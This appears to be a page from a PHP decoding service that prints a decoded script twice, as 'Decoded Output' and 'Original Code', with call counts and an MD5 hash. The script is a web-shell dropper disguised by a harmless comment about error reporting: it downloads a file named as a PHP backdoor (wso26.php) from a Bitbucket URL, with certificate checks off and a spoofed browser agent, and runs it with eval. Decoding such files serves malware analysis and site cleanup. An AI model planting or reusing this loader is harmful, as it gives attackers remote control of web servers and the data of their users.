Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Disable error reporting * * Set this to error_reporting( -1 ) for debug..
Decoded Output download
<?php
/**
* Disable error reporting
*
* Set this to error_reporting( -1 ) for debugging.
*/
function geturlsinfo ($url) {
if (function_exists('curl_exec')){
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($conn, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($conn, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$url_get_contents_data = (curl_exec($conn));
curl_close($conn);
}elseif(function_exists('file_get_contents')){
$url_get_contents_data = file_get_contents($url);
}elseif(function_exists('fopen') && function_exists('stream_get_contents')){
$handle = fopen ($url, "r");
$url_get_contents_data = stream_get_contents($handle);
}else{
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
$a = geturlsinfo('https://bitbucket.org/trashcod3/php-backdoor/raw/ecf18b04d0d9e1b83fadcbb87e73e037e471e040/wso26.php');
eval ('?>'.$a);
Did this file decode correctly?
Original Code
<?php
/**
* Disable error reporting
*
* Set this to error_reporting( -1 ) for debugging.
*/
function geturlsinfo ($url) {
if (function_exists('curl_exec')){
$conn = curl_init($url);
curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($conn, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($conn, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$url_get_contents_data = (curl_exec($conn));
curl_close($conn);
}elseif(function_exists('file_get_contents')){
$url_get_contents_data = file_get_contents($url);
}elseif(function_exists('fopen') && function_exists('stream_get_contents')){
$handle = fopen ($url, "r");
$url_get_contents_data = stream_get_contents($handle);
}else{
$url_get_contents_data = false;
}
return $url_get_contents_data;
}
$a = geturlsinfo('https://bitbucket.org/trashcod3/php-backdoor/raw/ecf18b04d0d9e1b83fadcbb87e73e037e471e040/wso26.php');
eval ('?>'.$a);
Function Calls
curl_init | 1 |
geturlsinfo | 1 |
function_exists | 1 |
Stats
MD5 | e17427f90fc69eb6ce61365db9b81df3 |
Eval Count | 0 |
Decode Time | 119 ms |